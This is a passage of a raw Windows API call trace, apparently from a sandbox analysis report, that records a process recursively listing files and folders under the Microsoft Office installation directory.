dwFlags=0x0, lpMem=0x3a72870 | out: hHeap=0xaf0000) returned 1 [0289.676] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0289.676] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0289.676] GetProcessHeap () returned 0xaf0000 [0289.676] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0289.676] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData", cAlternateFileName="MICROS~2.BUS")) returned 1 [0289.676] GetProcessHeap () returned 0xaf0000 [0289.676] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0289.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0289.677] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.677] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 1 [0289.677] GetProcessHeap () returned 0xaf0000 [0289.677] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a72870 [0289.677] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0289.677] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.677] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a260, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.office.businessdata.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0289.677] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a260, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.office.businessdata.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0289.677] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0289.678] GetProcessHeap () returned 0xaf0000 [0289.678] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a72870 | out: hHeap=0xaf0000) returned 1 [0289.678] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0289.678] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0289.678] GetProcessHeap () returned 0xaf0000 [0289.678] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0289.678] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 1 [0289.678] GetProcessHeap () returned 0xaf0000 [0289.678] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0289.678] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0289.679] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.679] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 1 [0289.679] GetProcessHeap () returned 0xaf0000 [0289.679] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a72870 [0289.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0289.679] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.679] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x348c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.office.businessdata.intl.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0289.679] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x348c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.office.businessdata.intl.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0289.679] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0289.679] GetProcessHeap () returned 0xaf0000 [0289.679] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a72870 | out: hHeap=0xaf0000) returned 1 [0289.680] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0289.680] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0289.680] GetProcessHeap () returned 0xaf0000 [0289.680] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0289.680] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 0 [0289.680] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0289.680] GetProcessHeap () returned 0xaf0000 [0289.680] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0289.681] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 0 [0289.682] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0289.682] GetProcessHeap () returned 0xaf0000 [0289.682] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0289.682] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INF", cAlternateFileName="")) returned 1 [0289.682] GetProcessHeap () returned 0xaf0000 [0289.682] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0289.682] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\INF\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0289.682] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.682] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8512, dwReserved0=0x0, dwReserved1=0x0, cFileName="AER_1033.ADM", cAlternateFileName="")) returned 1 [0289.682] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8512, dwReserved0=0x0, dwReserved1=0x0, cFileName="AER_1033.ADM", cAlternateFileName="")) returned 0 [0289.682] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0289.682] GetProcessHeap () returned 0xaf0000 [0289.683] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0289.683] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1 [0289.683] GetProcessHeap () returned 0xaf0000 [0289.683] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0289.683] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0289.683] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.683] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc36c3d3f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc434832e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-000F-0000-1000-0000000FF1CE}", cAlternateFileName="{90160~1")) returned 1 [0289.683] GetProcessHeap () returned 0xaf0000 [0289.683] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0289.684] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc434832e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc434832e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0289.684] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc434832e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc434832e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.684] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc27dd2b7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc27dd2b7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc290e5a3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="accicons.exe", cAlternateFileName="")) returned 1 [0289.684] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26d2137, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26d2137, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3deaf6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11640, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbcicons.exe", cAlternateFileName="")) returned 1 [0289.684] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26d2137, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26d2137, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc27dd2b7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="graph.ico", cAlternateFileName="")) returned 1 [0289.684] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc434832e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc434832e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc436e5a6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a440, dwReserved0=0x0, dwReserved1=0x0, cFileName="grv_icons.exe", cAlternateFileName="GRV_IC~1.EXE")) returned 1 [0289.685] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26f8376, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28297ac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xac440, dwReserved0=0x0, dwReserved1=0x0, cFileName="joticon.exe", cAlternateFileName="")) returned 1 [0289.685] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26d2137, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26d2137, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3d0601b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xcda40, dwReserved0=0x0, dwReserved1=0x0, cFileName="lyncicon.exe", cAlternateFileName="")) returned 1 [0289.685] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26f8376, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2e456b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfaea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc.exe", cAlternateFileName="")) returned 1 [0289.685] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26abeaf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc27b6ef5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb440, dwReserved0=0x0, dwReserved1=0x0, 